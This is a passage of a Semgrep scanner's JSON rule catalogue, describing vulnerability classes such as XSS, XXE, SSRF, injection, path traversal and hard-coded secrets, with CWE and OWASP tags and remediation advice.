CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.openssl-cbc-static-iv.openssl-cbc-static-iv"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"help":{"markdown":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Format string attacks occur when untrusted data is passed directly into functions that build formatted strings, within the format parameter. This can result in memory/data leakage."},"helpUri":"https://semgrep.dev/r/swift.lang.string.format-string.swift-format-string","id":"swift.lang.string.format-string.swift-format-string","name":"swift.lang.string.format-string.swift-format-string","properties":{"precision":"very-high","tags":["CWE-134: Use of Externally-Controlled Format String","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.string.format-string.swift-format-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","id":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","name":"python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-hardcoded-secret.python-pymssql-hardcoded-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe)\n - [https://github.com/astro/node-expat](https://github.com/astro/node-expat)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-expat-xxe.express-expat-xxe","id":"javascript.express.security.express-expat-xxe.express-expat-xxe","name":"javascript.express.security.express-expat-xxe.express-expat-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-expat-xxe.express-expat-xxe"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"help":{"markdown":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Unencoded JSON in HTML context is vulnerable to cross-site scripting, because `</script>` is not properly encoded."},"helpUri":"https://semgrep.dev/r/csharp.razor.security.html-raw-json.html-raw-json","id":"csharp.razor.security.html-raw-json.html-raw-json","name":"csharp.razor.security.html-raw-json.html-raw-json","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.razor.security.html-raw-json.html-raw-json"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"help":{"markdown":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection](https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection)\n","text":"Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","id":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","name":"java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure FSX ONTAP file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-ontapfs-encrypted-with-cmk.aws-fsx-ontapfs-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"help":{"markdown":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.distributed.security.require-encryption)\n - [https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters](https://distributed.dask.org/en/latest/tls.html?highlight=require_encryption#parameters)\n","text":"Initializing a security context for Dask (`distributed`) without \"require_encryption\" keyword argument may silently fail to provide security."},"helpUri":"https://semgrep.dev/r/python.distributed.security.require-encryption","id":"python.distributed.security.require-encryption","name":"python.distributed.security.require-encryption","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.distributed.security.require-encryption"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"help":{"markdown":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval#never_use_eval!)\n","text":"Detected use of dynamic execution of JavaScript which may come from user-input, which can lead to Cross-Site-Scripting (XSS). Where possible avoid including user-input in functions which dynamically execute user-input."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","id":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","name":"javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-eval-with-expression.detect-eval-with-expression"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","id":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","name":"python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymssql.python-pymssql-empty-password.python-pymssql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"help":{"markdown":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"'syscall' is essentially unsafe and unportable. The DL (https://apidock.com/ruby/Fiddle) library is preferred for safer and a bit more portable programming."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.dangerous-syscall.dangerous-syscall","id":"ruby.lang.security.dangerous-syscall.dangerous-syscall","name":"ruby.lang.security.dangerous-syscall.dangerous-syscall","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.dangerous-syscall.dangerous-syscall"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","id":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","name":"python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.net.tainted-flask-http-request-paramiko.tainted-flask-http-request-paramiko"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"help":{"markdown":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"X-XSS-Protection header is set to 0. This will disable the browser's XSS Filter."},"helpUri":"https://semgrep.dev/r/typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","id":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","name":"typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nestjs.security.audit.nestjs-header-xss-disabled.nestjs-header-xss-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","id":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","name":"javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.crypto.symmetric-hardcoded-key.symmetric-hardcoded-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","id":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","name":"typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-refs.react-nextjs-router-refs"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask)\n - [https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems](https://docs.pyfilesystem.org/en/latest/guide.html#opening-filesystems)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-shelve-flask.tainted-shelve-flask","id":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","name":"python.flask.file.tainted-shelve-flask.tainted-shelve-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-shelve-flask.tainted-shelve-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2)\n - [https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py](https://github.com/vingd/libxml2-python/blob/libxml2-python-2.9.1/libxml2.py)\n - [https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings](https://gitlab.gnome.org/GNOME/libxml2/-/wikis/Python-bindings)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","id":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","name":"python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.xml.tainted-django-xml-libxml2.tainted-django-xml-libxml2"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"help":{"markdown":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path)\n - [https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/](https://brakemanscanner.org/docs/warning_types/dynamic_render_paths/)\n","text":"Avoid rendering user input. It may be possible for a malicious user to input a path that lets them access a template they shouldn't. To prevent this, check dynamic template paths against a predefined allowlist to make sure it's an allowed template."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","id":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","name":"ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.xss.avoid-render-dynamic-path.avoid-render-dynamic-path"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"help":{"markdown":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions](https://wiki.sei.cmu.edu/confluence/display/c/STR38-C.+Do+not+confuse+narrow+and+wide+character+strings+and+functions)\n","text":"A byte-string (narrow string) is used in an API that expects a wide-string. This can trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","id":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","name":"cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.narrow-to-wide-string-mismatch.narrow-to-wide-string-mismatch"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid if possible to use it to construct the NoSQL statement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.nosql-injection-servlets.nosql-injection-servlets)\n - 